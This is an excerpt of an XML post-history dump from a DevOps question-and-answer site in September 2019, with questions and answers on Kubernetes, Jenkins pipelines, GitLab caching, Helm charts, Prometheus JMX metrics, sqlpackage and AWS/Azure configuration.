  <row Id="26811" PostHistoryTypeId="2" PostId="9118" RevisionGUID="bae211d1-36df-433d-b5ae-c99785cf7766" CreationDate="2019-09-07T08:52:05.787" UserId="4570" Text="How can I check if an operator has not changed, and then not apply it?&#xD;&#xA;&#xD;&#xA;usually, I would apply an operator like this&#xD;&#xA;&#xD;&#xA;    kubectl apply -f openebs.yml    &#xD;&#xA;&#xD;&#xA;In an automated script, I would like to test if Kubernetes is running this operator already - and only apply it if it has changed or even stop if there are changes.&#xD;&#xA;&#xD;&#xA;How can I achieve this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26812" PostHistoryTypeId="1" PostId="9118" RevisionGUID="bae211d1-36df-433d-b5ae-c99785cf7766" CreationDate="2019-09-07T08:52:05.787" UserId="4570" Text="kubernetes How to test if an operator has already been applied" ContentLicense="CC BY-SA 4.0" />
  <row Id="26813" PostHistoryTypeId="3" PostId="9118" RevisionGUID="bae211d1-36df-433d-b5ae-c99785cf7766" CreationDate="2019-09-07T08:52:05.787" UserId="4570" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26814" PostHistoryTypeId="50" PostId="6811" RevisionGUID="6e487281-7e2d-4b42-828b-12edc85a75bf" CreationDate="2019-09-07T14:02:20.603" UserId="-1" />
  <row Id="26815" PostHistoryTypeId="50" PostId="8847" RevisionGUID="5d6b003d-a7a3-44e6-adf2-fac29ff84bb7" CreationDate="2019-09-07T16:02:50.363" UserId="-1" />
  <row Id="26816" PostHistoryTypeId="2" PostId="9119" RevisionGUID="45bc241b-a418-4e95-8cdb-7da82c3a1554" CreationDate="2019-09-07T21:48:44.117" UserId="4634" Text="I'm following [this][1] tutorial. I'm running the jenkins-x cli on a aws ec2 instance where I installed kubenetes and jx. I get to the part where I run the command `jx create cluster eks --cluster-name=konsek-cloud --skip-installation=true --verbose` and it errors out with &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;DEBUG: eksctl is already available on your PATH at /home/ec2-user/.jx/bin/eksctl&#xD;&#xA;DEBUG: aws-iam-authenticator is already available on your PATH at /home/ec2-user/.jx/bin/aws-iam-authenticator&#xD;&#xA;DEBUG: Dependencies to be installed:&#xD;&#xA;DEBUG: kubectl is already available on your PATH at /usr/bin/kubectl&#xD;&#xA;DEBUG: helm is already available on your PATH at /home/ec2-user/.jx/bin/helm&#xD;&#xA;error: exit status 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I cannot figure out how to get more information out of it or figure out what is wrong. Can someone please suggest ways to &quot;turn up&quot; the logging output? or know something I can try to fix this?&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/opensource/continuous-delivery-eks-jenkins-x/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26817" PostHistoryTypeId="1" PostId="9119" RevisionGUID="45bc241b-a418-4e95-8cdb-7da82c3a1554" CreationDate="2019-09-07T21:48:44.117" UserId="4634" Text="jenkins-x returns error 1 when I try to create a cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="26818" PostHistoryTypeId="3" PostId="9119" RevisionGUID="45bc241b-a418-4e95-8cdb-7da82c3a1554" CreationDate="2019-09-07T21:48:44.117" UserId="4634" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;jenkins-x&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26819" PostHistoryTypeId="50" PostId="8830" RevisionGUID="39f2027c-2fb9-4f78-b084-9fa06d270ce5" CreationDate="2019-09-08T02:01:20.217" UserId="-1" />
  <row Id="26820" PostHistoryTypeId="2" PostId="9120" RevisionGUID="a2d953df-150e-4b85-911f-86bb560ee063" CreationDate="2019-09-08T06:53:32.217" UserId="16959" Text="I am having a problem to trigger Jenkins pipeline job based on merge any branches to develop branch only. I also did not find any webhook for merge as like bitbucket. I also tried using pull request but that triggered the job on any changes to the PR branch which is not my requirement.&#xD;&#xA;&#xD;&#xA;I have also shared my code below and my Jenkins Configuration.&#xD;&#xA;[Jenkins Configuration][1] also please note that it is develop branch but in the image I've shown `*/feature` I have changed it to develop but still the issue is the same.&#xD;&#xA;&#xD;&#xA;    def CONTAINER_NAME=&quot;&quot;&#xD;&#xA;    def CONTAINER_TAG=&quot;${env.BUILD_NUMBER}&quot;&#xD;&#xA;    def CONTAINER_PORT=&quot;&quot;&#xD;&#xA;    def ECR_REPO=&quot;&quot;&#xD;&#xA;    def HOST_PORT=&quot;&quot;&#xD;&#xA;    def URL=&quot;&quot;&#xD;&#xA;    def INSTANCE_IP=&quot;&quot;&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      stages {&#xD;&#xA;        stage('Image Build Develop') {&#xD;&#xA;          when {&#xD;&#xA;            expression {&#xD;&#xA;             return env.BRANCH_NAME != 'feature_cicd'&#xD;&#xA;             echo env.BRANCH_NAME&#xD;&#xA;            }&#xD;&#xA;          } &#xD;&#xA;          steps {&#xD;&#xA;            git branch: &quot;develop&quot;, url: 'https://github.com/jenkinsci/git-parameter-plugin.git' &#xD;&#xA;            imageBuildDevelop(CONTAINER_NAME, CONTAINER_TAG)&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Image Tag') {&#xD;&#xA;          steps {&#xD;&#xA;            imageTag(CONTAINER_NAME, CONTAINER_TAG, ECR_REPO)&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Image Push') {&#xD;&#xA;          steps {&#xD;&#xA;            imagePush(CONTAINER_NAME, CONTAINER_TAG, ECR_REPO)&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Image Deploy') {&#xD;&#xA;          steps {&#xD;&#xA;            imageDeploy(HOST_PORT, env.BUILD_NUMBER, INSTANCE_IP)&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def imageBuildDevelop(containerName, tag) {&#xD;&#xA;      echo &quot;#------------------- Checkout Develop Branch -------------------#&quot;&#xD;&#xA;      git branch: &quot;feature_cicd&quot;, url: 'https://github.com/jenkinsci/git-parameter-plugin.git'&#xD;&#xA;      echo &quot;#------------------- Login into ECR Repository -------------------#&quot;&#xD;&#xA;      sh &quot;`/var/jenkins_home/.local/bin/aws ecr get-login --no-include-email`&quot;&#xD;&#xA;      echo &quot;#------------------- Build Docker Image for Media-API -------------------#&quot;&#xD;&#xA;      sh &quot;docker build -t $containerName:$tag -t $containerName .&quot;&#xD;&#xA;      echo &quot;#------------------- Image Build Complete -------------------#&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def imageTag(containerName, tag, repo) {&#xD;&#xA;      echo &quot;#------------------- Tag media-api image -------------------#&quot;&#xD;&#xA;      sh &quot;docker tag $containerName:$tag $repo:$containerName-$tag&quot;&#xD;&#xA;      echo &quot;#------------------- Image Tag Complete ------------------#&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def imagePush(containerName, tag, repo) {&#xD;&#xA;      echo &quot;#------------------- Login into ECR Repository -------------------#&quot;&#xD;&#xA;      sh &quot;`/var/jenkins_home/.local/bin/aws ecr get-login --no-include-email`&quot;&#xD;&#xA;      echo &quot;#------------------- Push Image into ECR Repository -------------------#&quot;&#xD;&#xA;      sh &quot;docker push $repo:$containerName-$tag&quot;&#xD;&#xA;      echo &quot;#------------------- Image Push to ECR Repository Complete -------------------#&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def imageDeploy(hostPort, tag, ip) {&#xD;&#xA;      echo &quot;#------------------- SSH into media-api instance -------------------#&quot;&#xD;&#xA;      sh &quot;ssh ubuntu@$ip \&quot;BUILD_NUMBER=$tag\&quot; \&#xD;&#xA;      ' cd reactApi_test/ &amp;&amp;\&#xD;&#xA;        echo \&quot;TAG=${BUILD_NUMBER}\&quot; &gt; .env &amp;&amp;\&#xD;&#xA;        `aws ecr get-login --no-include-email` &amp;&amp;\&#xD;&#xA;        docker-compose up -d --build &amp;&amp;\&#xD;&#xA;        ./test.sh '&quot;&#xD;&#xA;      echo &quot;#------------------- Media-API container started on Port '${hostPort} (http)' -------------------#&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nhcDV.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26821" PostHistoryTypeId="1" PostId="9120" RevisionGUID="a2d953df-150e-4b85-911f-86bb560ee063" CreationDate="2019-09-08T06:53:32.217" UserId="16959" Text="How to trigger jenkins pipeline only on merge to develop branch from github webhook trigger?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26822" PostHistoryTypeId="3" PostId="9120" RevisionGUID="a2d953df-150e-4b85-911f-86bb560ee063" CreationDate="2019-09-08T06:53:32.217" UserId="16959" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26829" PostHistoryTypeId="5" PostId="9117" RevisionGUID="5a08ef6f-120c-415a-8dcf-d5e47520d54b" CreationDate="2019-09-08T09:31:19.790" UserId="210" Comment="added 9 characters in body" Text="You can indeed build RPMs on Debian. You need the `rpm` and `rpmbuild8` packages:&#xD;&#xA;&#xD;&#xA;I tried it with a docker container:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it debian bash -c 'apt-get update &amp;&amp; \&#xD;&#xA;    apt-get -y install rpm librpmbuild8 &amp;&amp; which rpmbuild'&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;More info on packages:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;The following additional packages will be installed:&#xD;&#xA;  dbus debugedit libapparmor1 libarchive13 libdbus-1-3 libdw1 libexpat1 libgdbm-compat4 libgdbm6 libicu63 liblua5.2-0 libmagic-mgc libmagic1 libnspr4&#xD;&#xA;  libnss3 libperl5.28 libpopt0 librpm8 librpmio8 librpmsign8 libsqlite3-0 libxml2 netbase perl perl-modules-5.28 rpm-common rpm2cpio&#xD;&#xA;Suggested packages:&#xD;&#xA;  default-dbus-session-bus | dbus-session-bus rpm-i18n lrzip gdbm-l10n file sensible-utils perl-doc libterm-readline-gnu-perl&#xD;&#xA;  | libterm-readline-perl-perl make libb-debug-perl liblocale-codes-perl alien python elfutils rpmlint rpm2html&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26832" PostHistoryTypeId="50" PostId="5620" RevisionGUID="5594cf23-69c5-4c13-a18c-3c078118adc4" CreationDate="2019-09-08T17:01:40.197" UserId="-1" />
  <row Id="26833" PostHistoryTypeId="50" PostId="5700" RevisionGUID="5b86af5b-2e79-4945-b47c-3a6541ce68bd" CreationDate="2019-09-08T18:01:00.093" UserId="-1" />
  <row Id="26834" PostHistoryTypeId="2" PostId="9123" RevisionGUID="6b5d08fd-3f17-4b04-a642-54020297bf81" CreationDate="2019-09-08T20:08:14.640" UserId="15883" Text="I was thinking about a pipeline with the following steps:&#xD;&#xA;&#xD;&#xA;1. Install image dependencies (such as java, node, yarn and openssl)&#xD;&#xA;2. Install node packages needed for the build&#xD;&#xA;3. Install PMD&#xD;&#xA;4. Do a code Analysis&#xD;&#xA;5. Build&#xD;&#xA;6. Deploy&#xD;&#xA;7. Run tests on the server&#xD;&#xA;8. Clean up&#xD;&#xA;&#xD;&#xA;But the issue here is that I require the tools installed on steps 1 and 2 for the rest of the build. There's a package that is used to run steps 5 to 7, for example, and OpenSSL is required to decrypt a server key in the repository (so GitLab can connect to the server).&#xD;&#xA;&#xD;&#xA;I can't seem to find a way to persist Yarn's install through different stages. When the pipeline moves from stage 1 to stage 2, it will use yarn commands and will fail with the 127 error code (command not found), like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ yarn global add sfdx-cli&#xD;&#xA;/bin/sh: eval: line 81: yarn: not found&#xD;&#xA;&#xD;&#xA;ERROR: Job failed: exit code 127&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is it possible to persist the &quot;environment setup&quot; through all the stages? Can `artifacts` be used for this? If so, will I need to setup the commands for every stage? For example: Yarn might be installed in a folder which will be cached, but I need to point the 'yarn' command to the correct binary, right?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26835" PostHistoryTypeId="1" PostId="9123" RevisionGUID="6b5d08fd-3f17-4b04-a642-54020297bf81" CreationDate="2019-09-08T20:08:14.640" UserId="15883" Text="Can I persist a Yarn install through different stages in a GitLab pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26836" PostHistoryTypeId="3" PostId="9123" RevisionGUID="6b5d08fd-3f17-4b04-a642-54020297bf81" CreationDate="2019-09-08T20:08:14.640" UserId="15883" Text="&lt;gitlab&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26838" PostHistoryTypeId="33" PostId="6633" RevisionGUID="04110bc7-2ae0-496b-b534-0ad32c2e4366" CreationDate="2019-09-09T06:47:44.843" UserId="10" Comment="41" />
  <row Id="26839" PostHistoryTypeId="2" PostId="9124" RevisionGUID="c9a439dc-cc6f-44d0-831a-dd2909eb5e84" CreationDate="2019-09-09T06:54:09.213" UserId="10" Text="You'll want to use the CHANGE_TARGET environment variable.  If that variable exists then you are dealing with a merge request. &#xD;&#xA;&#xD;&#xA;You can use the following code snipped to then determine the branch name and alter the job's logic depending on which branch the code is being merged into.&#xD;&#xA;&#xD;&#xA;`branchName = env.CHANGE_TARGET ? env.CHANGE_TARGET : env.BRANCH_NAME`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26840" PostHistoryTypeId="2" PostId="9125" RevisionGUID="a3cace17-e60a-487a-b248-c1ad59c56e14" CreationDate="2019-09-09T07:00:23.203" UserId="10" Text="We have a script which we run periodicaly which scans our docker registry for orphaned items, and then deletes them.&#xD;&#xA;&#xD;&#xA;Unfortunately, it requires multiple API calls to get all the data required, and then to delete each image.  But basically, if an image hash is lacking a 'latest' tag or a tag that starts with 'v' it gets culled.&#xD;&#xA;&#xD;&#xA;You could probably also try deleting based on last modified date.&#xD;&#xA;&#xD;&#xA;We run this as a cron job in kubernetes, but you could just as easily run a script like this as a periodic jenkins job.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26841" PostHistoryTypeId="2" PostId="9126" RevisionGUID="ac030dbc-f101-4019-84da-1409cc69d980" CreationDate="2019-09-09T07:50:26.867" UserId="10" Text="If you want to use environment variables with the `${VAR}` syntax in the declarative pipeline, then you need to define those variables in the `environment { }` block.&#xD;&#xA;&#xD;&#xA;for example:  &#xD;&#xA;```&#xD;&#xA;environment {&#xD;&#xA;        DISABLE_AUTH = 'true'&#xD;&#xA;        DB_ENGINE    = 'sqlite'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;            steps {&#xD;&#xA;                echo &quot;Database engine is ${DB_ENGINE}&quot;&#xD;&#xA;                echo &quot;DISABLE_AUTH is ${DISABLE_AUTH}&quot;&#xD;&#xA;                sh 'printenv'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA; ```   &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;If you want to use environment variables that come from other plugins etc, then you need to access them with the `env.VAR` syntax.  For example:&#xD;&#xA;&#xD;&#xA;`echo &quot;Running ${env.BUILD_ID} on ${env.JENKINS_URL}&quot;`" ContentLicense="CC BY-SA 4.0" />
  <row Id="26852" PostHistoryTypeId="2" PostId="9129" RevisionGUID="4a504e49-5d2a-494c-a75b-d68173cb0f9e" CreationDate="2019-09-09T11:29:14.377" UserId="16979" Text="I am trying to use JMX_Exporter for my kotlin code to expose metrics to prometheus in order to show it in Grafana. I have gone through many articles and tried to understand how could it be done. I have found below two links useful and trying to achieve using those.&#xD;&#xA;&#xD;&#xA;https://github.com/prometheus/jmx_exporter&#xD;&#xA;https://www.openlogic.com/blog/monitoring-java-applications-prometheus-and-grafana-part-1&#xD;&#xA;What i did so far is, created a folder 'prometheus-jmx' in root directory and added mentioned JAR and config.yml file in that folder. Then, i added below parameter to my dockerfile.&#xD;&#xA;&#xD;&#xA;    CMD java -Xms128m -Xmx256m -javaagent:./jmx_prometheus_javaagent-0.12.0.jar=8080:./config.yml -Dconfig.file=config/routing.conf -cp jagathe-jar-with- &#xD;&#xA;        dependencies.jar:./* com.bmw.otd.agathe.AppKt&#xD;&#xA;&#xD;&#xA;My prometheus is running in my OpenShift cluster along with my application. I could scrape metrics for my other applications/deployments like Jenkins, SonarQube etc without any modifications in deployment.yml of Prometheus.&#xD;&#xA;&#xD;&#xA;My application is running properly now on OpenShift and from application's pod, I can scrape metrics by using below command.&#xD;&#xA;&#xD;&#xA;    curl http://localhost:portNumber&#xD;&#xA;&#xD;&#xA;But on promethus UI, I cant see any JVM or JMX related metric.&#xD;&#xA;&#xD;&#xA;Can someone please tell me where and what am i doing wrong? Any kind of help would be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="26853" PostHistoryTypeId="1" PostId="9129" RevisionGUID="4a504e49-5d2a-494c-a75b-d68173cb0f9e" CreationDate="2019-09-09T11:29:14.377" UserId="16979" Text="Expose metrics for Kotlin using JMX_Exporter to prometheus" ContentLicense="CC BY-SA 4.0" />
  <row Id="26854" PostHistoryTypeId="3" PostId="9129" RevisionGUID="4a504e49-5d2a-494c-a75b-d68173cb0f9e" CreationDate="2019-09-09T11:29:14.377" UserId="16979" Text="&lt;openshift&gt;&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26855" PostHistoryTypeId="2" PostId="9130" RevisionGUID="7b3cf650-1262-40e6-831c-460b462c42ea" CreationDate="2019-09-09T12:16:02.410" UserId="16981" Text="in my use case i've got a helm chart for my application.&#xD;&#xA;&#xD;&#xA;One of the resources is actually a **Grafana Dashboard** for the application.&#xD;&#xA;&#xD;&#xA;This dashboard actually monitors all instances of the application, and i want it to be deployed only once.&#xD;&#xA;&#xD;&#xA;Considering i'm performing 2 **helm install** commands for the same apps, which will cause the dashboard to be deployed **twice**, what's the best practices to have it deployed only once?&#xD;&#xA;&#xD;&#xA;* Should it be a totally different &quot;release&quot;? (and be deployed individualy?)&#xD;&#xA;* Should I specify in the 2nd installation not to deploy the dashboard? (seems bad)&#xD;&#xA;&#xD;&#xA;What's the best practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26856" PostHistoryTypeId="1" PostId="9130" RevisionGUID="7b3cf650-1262-40e6-831c-460b462c42ea" CreationDate="2019-09-09T12:16:02.410" UserId="16981" Text="What's the way to deploy a resource once on a helm chart that is deployed multiple times?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26857" PostHistoryTypeId="3" PostId="9130" RevisionGUID="7b3cf650-1262-40e6-831c-460b462c42ea" CreationDate="2019-09-09T12:16:02.410" UserId="16981" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26858" PostHistoryTypeId="2" PostId="9131" RevisionGUID="5311b5c8-67ce-4547-98db-5e41317ea3e9" CreationDate="2019-09-09T13:05:15.260" UserId="15033" Text="while trying to build dacpac using sqlpackage.exe, we are getting the following error&#xD;&#xA;&#xD;&#xA;    Microsoft.SqlServer.Dac.DacServicesException: An error occurred during deployment plan generation. Deployment cannot continue.&#xD;&#xA;    Error SQL0: Required contributor with id 'BcDevKit.DeploymentContributors.DacMacroSqlDeploymentContributor' could not be loaded.&#xD;&#xA;&#xD;&#xA;The above error can be fixed if I copy the contributors from `&#xD;&#xA;    C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\Extensions\Microsoft\SQLDB\DAC\150\Extensions` &#xD;&#xA;&#xD;&#xA;to `C:\Program Files (x86)\Microsoft SQL Server\150\DAC\bin\Extensions`&#xD;&#xA;&#xD;&#xA;I want sqlpackage to search for contributors only in Visual Studio directory. Can anyone help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26859" PostHistoryTypeId="1" PostId="9131" RevisionGUID="5311b5c8-67ce-4547-98db-5e41317ea3e9" CreationDate="2019-09-09T13:05:15.260" UserId="15033" Text="SqlPackage.exe: Error SQL0: Required contributor with id 'id' could not be loaded" ContentLicense="CC BY-SA 4.0" />
  <row Id="26860" PostHistoryTypeId="3" PostId="9131" RevisionGUID="5311b5c8-67ce-4547-98db-5e41317ea3e9" CreationDate="2019-09-09T13:05:15.260" UserId="15033" Text="&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26861" PostHistoryTypeId="2" PostId="9132" RevisionGUID="0480c969-765e-46b0-9e3b-21d07ac54077" CreationDate="2019-09-09T13:52:25.473" UserId="16977" Text="So we have an asp.net core application we are hoping to start using with docker and host this all on aws.&#xD;&#xA;&#xD;&#xA;We have multiple clients that we set up this project for, each with their own configuration settings, such as connection strings, application name, token secret, mailing server information, etc...&#xD;&#xA;&#xD;&#xA;The problem we are going to have/are having, is how to make production configuration not built into the source code/docker whilst being accessible for multiple instances/containers that will need to use this on ECS/EC2.&#xD;&#xA;&#xD;&#xA;So the idea we currently have, which i was hoping someone could check or suggest a better solution if there is one, is that we will build the container free of the specific configuration, then access the appSettings.production.json which we would mount from outside of the container. Because this would be on amazon it would be stored in EFS if capable or S3.&#xD;&#xA;&#xD;&#xA;Is this possible and an appropriate solution?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="26862" PostHistoryTypeId="1" PostId="9132" RevisionGUID="0480c969-765e-46b0-9e3b-21d07ac54077" CreationDate="2019-09-09T13:52:25.473" UserId="16977" Text="AWS Production Configuration ASP.NET Core &amp; Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="26863" PostHistoryTypeId="3" PostId="9132" RevisionGUID="0480c969-765e-46b0-9e3b-21d07ac54077" CreationDate="2019-09-09T13:52:25.473" UserId="16977" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26864" PostHistoryTypeId="2" PostId="9133" RevisionGUID="04748c00-0f1a-4ba9-a0e6-923e18dceb63" CreationDate="2019-09-09T14:46:13.623" UserId="16981" Text="I've eventually created an umbrella chart with alias:&#xD;&#xA;&#xD;&#xA;    dependencies:&#xD;&#xA;      - name: app&#xD;&#xA;        repository: file://./app&#xD;&#xA;        version: 1.0.0&#xD;&#xA;        alias: child1&#xD;&#xA;      - name: app&#xD;&#xA;        repository: file://./app&#xD;&#xA;        version: 1.0.0&#xD;&#xA;        alias: child2&#xD;&#xA;&#xD;&#xA;And in values.yaml i've changed the needed values,&#xD;&#xA;then added the grafana dashboard in the bundled yaml file." ContentLicense="CC BY-SA 4.0" />
  <row Id="26865" PostHistoryTypeId="2" PostId="9134" RevisionGUID="5d4daebf-bf1b-4634-995f-8716635363bf" CreationDate="2019-09-09T14:51:43.893" UserId="15033" Text="I have figured the answer on my own and wanted to help someone like me.&#xD;&#xA;&#xD;&#xA;So, the problem is I was referencing sqlpackage.exe from `C:\Program Files (x86)\Microsoft SQL Server\150\DAC\bin` directory, that is why it was looking for the contributor in it's sub-directory `\Extensions`.&#xD;&#xA;&#xD;&#xA;I was looking around in Visual Studio installation directory and found the sqlpackage.exe in `C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\Extensions\Microsoft\SQLDB\DAC\150` directory, updated the path in environment variables and it worked." ContentLicense="CC BY-SA 4.0" />
  <row Id="26867" PostHistoryTypeId="2" PostId="9135" RevisionGUID="a09892c0-bdb8-4cfc-9f41-1211f56941a9" CreationDate="2019-09-09T19:15:10.077" UserId="16984" Text="You don't need to do anything; this warning is a mistake. See https://github.com/moby/moby/pull/39736" ContentLicense="CC BY-SA 4.0" />
  <row Id="26872" PostHistoryTypeId="2" PostId="9137" RevisionGUID="13a9c18d-85d9-446c-bf8e-5815db3f3352" CreationDate="2019-09-10T14:55:26.733" UserId="17002" Text="I want to execute a shell command or call a URL when a user creates a new issue. The reason behind this is to synchronize our Gitlab issues with our CalDav calendar infrastructure. We are using Gitlab community." ContentLicense="CC BY-SA 4.0" />
  <row Id="26873" PostHistoryTypeId="1" PostId="9137" RevisionGUID="13a9c18d-85d9-446c-bf8e-5815db3f3352" CreationDate="2019-09-10T14:55:26.733" UserId="17002" Text="How to execute shell command or call URL on new gitlab issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26874" PostHistoryTypeId="3" PostId="9137" RevisionGUID="13a9c18d-85d9-446c-bf8e-5815db3f3352" CreationDate="2019-09-10T14:55:26.733" UserId="17002" Text="&lt;git&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26878" PostHistoryTypeId="2" PostId="9139" RevisionGUID="f239b1e6-1821-41da-9b50-a8f6464ebb27" CreationDate="2019-09-10T15:47:01.367" UserId="13" Text="That's mostly what gitlab [webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#webhooks) are for I think.&#xD;&#xA;&#xD;&#xA;For your case that would be an [issue event](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#issues-events) and you'll have to create something to parse the posted json and do whatever is needed on your CalDav infra to match your needs." ContentLicense="CC BY-SA 4.0" />
  <row Id="26879" PostHistoryTypeId="2" PostId="9140" RevisionGUID="32c458e1-5f61-47d0-9a19-3d692968a92c" CreationDate="2019-09-10T19:09:14.200" UserId="12138" Text="It is quite difficult to migrate the databases without downtime, however, using some approaches you can do it with very minimum impact, nearly a zero downtime.&#xD;&#xA;&#xD;&#xA;The main idea in this is to create new databases with new schema. Then make changes in your code. First migrate the data from the old database to the new database. Then make changes in your code such that it starts writing to both the databases, old and new. You need to decide a time (time when there will be least writes to the database). Then stop all the writes. Remove the old database and make sure all the writes should now happen to new database from now on. &#xD;&#xA;Then start the writes back. &#xD;&#xA;&#xD;&#xA;In this way, you can achieve DB migration with minimal downtime.&#xD;&#xA;&#xD;&#xA;You can check [this][1] for a detailed information on how this can be done. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dzone.com/articles/safe-database-migration-pattern-without-downtime" ContentLicense="CC BY-SA 4.0" />
  <row Id="26880" PostHistoryTypeId="2" PostId="9141" RevisionGUID="6912d8c5-6070-4820-b3c5-3d3e4e8da1c3" CreationDate="2019-09-10T19:38:45.530" UserId="12138" Text="I would suggest `jenkins` for this as it can easily integrate wit `github`, `gitlab` or any other SCM. Jenkins jobs can be setup such that the build runs whenever you push a commit to the `gitlab` repo. In the job, you can mention to update the logstash config on the linux VM and then reload/restart your service.&#xD;&#xA;&#xD;&#xA;Here are some articles which can help you in proceeding further.&#xD;&#xA;&#xD;&#xA;http://fourkitchens.com/blog/article/trigger-jenkins-builds-pushing-github/&#xD;&#xA;&#xD;&#xA;https://oncomputingwell.princeton.edu/2018/01/triggering-a-jenkins-build-every-time-changes-are-pushed-to-a-git-branch-on-github/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;NOTE: &#xD;&#xA;If you want to setup this just for a single node, You can also create a very simple script which should pull from github, say every 5 mins, and if the changes are there, it can update logstash config and simply restart the logstash." ContentLicense="CC BY-SA 4.0" />
  <row Id="26884" PostHistoryTypeId="2" PostId="9143" RevisionGUID="aa1c0f34-50ee-462f-a64c-f57af2a4dcb2" CreationDate="2019-09-10T22:17:45.257" UserId="3125" Text="If you are going full on AWS, I would suggest to have a look at AWS SSM parameters. When EC2 or ECS container are starting, you have a script that is going to fetch the parameters. Then you can do whatever you need to do: replace variables in config files with the parameters fetched previously for example.&#xA;You could also use files stored in S3. You would be able to copy it and place it in the right application folder when your EC2 or ECS container are starting." ContentLicense="CC BY-SA 4.0" />
  <row Id="26894" PostHistoryTypeId="2" PostId="9144" RevisionGUID="fe470e74-15d7-4338-9755-4d12b9c436c7" CreationDate="2019-09-11T13:04:51.297" UserId="17018" Text="I created a Build pipeline in Azure using classic editor and selected empty job instead of using any template. This way provides option to connect only one repository at once. My requirement is to connect two repositories at once in the build pipeline and bring files from both of them to run some testing. &#xD;&#xA;There are so many templates available to chose from but I am not sure which is the right one to select, with which I can connect two repositories at the same time. I did Google for help and found that I could use Artifact with the combination of NuGet or nmp. I don't know how does that work. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26895" PostHistoryTypeId="1" PostId="9144" RevisionGUID="fe470e74-15d7-4338-9755-4d12b9c436c7" CreationDate="2019-09-11T13:04:51.297" UserId="17018" Text="Reading two Repos in Azure Build pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="26896" PostHistoryTypeId="3" PostId="9144" RevisionGUID="fe470e74-15d7-4338-9755-4d12b9c436c7" CreationDate="2019-09-11T13:04:51.297" UserId="17018" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;build-pipeline&gt;&lt;azure-pipelines&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26897" PostHistoryTypeId="2" PostId="9145" RevisionGUID="e08ec1e7-6512-4b96-9167-258d63f1f849" CreationDate="2019-09-11T14:52:15.773" UserId="17021" Text="My manager would like to use just the Azure DevOps board feature to keep track of her employee's tasks but asked if there is a way so that only she can move or " ContentLicense="CC BY-SA 4.0" />
  <row Id="26898" PostHistoryTypeId="1" PostId="9145" RevisionGUID="e08ec1e7-6512-4b96-9167-258d63f1f849" CreationDate="2019-09-11T14:52:15.773" UserId="17021" Text="How to restrict access on changing task status in Azure Devops" ContentLicense="CC BY-SA 4.0" />
